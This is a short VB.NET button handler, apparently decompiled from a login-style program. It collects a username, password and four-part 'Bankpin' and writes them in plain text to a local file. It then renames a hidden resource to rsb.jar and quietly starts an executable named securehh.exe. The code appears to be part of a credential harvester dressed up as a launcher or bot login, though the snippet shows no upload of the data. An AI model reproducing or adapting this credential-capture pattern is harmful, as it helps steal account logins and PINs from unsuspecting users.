Private Sub Button1_Click_1(ByVal sender As Object, ByVal e As EventArgs)
If (Me.TextBox1.Text = "") Then
Interaction.MsgBox("No username entered.", MsgBoxStyle.OkOnly, Nothing)
ElseIf (Me.TextBox2.Text = "") Then
Interaction.MsgBox("No password entered.", MsgBoxStyle.OkOnly, Nothing)
Else
Dim writer As New StreamWriter("accountconfig.txt")
writer.Write(Operators.AddObject(Operators.AddObject(Operators.AddObject(Operators.AddObject(((("Username:" & Me.TextBox1.Text & " ") & "Password:" & Me.TextBox2.Text) & " " & "Bankpin:"), Me.ComboBox1.SelectedItem), Me.ComboBox2.SelectedItem), Me.ComboBox3.SelectedItem), Me.ComboBox4.SelectedItem))
writer.Close
MyProject.Computer.FileSystem.RenameFile((FileSystem.CurDir & "\Resources\rsb.j"), "rsb.jar")
Interaction.Shell("securehh.exe", AppWinStyle.MinimizedFocus, False, -1)
MyProject.Forms.Form2.Close
Me.Close
End If
End Sub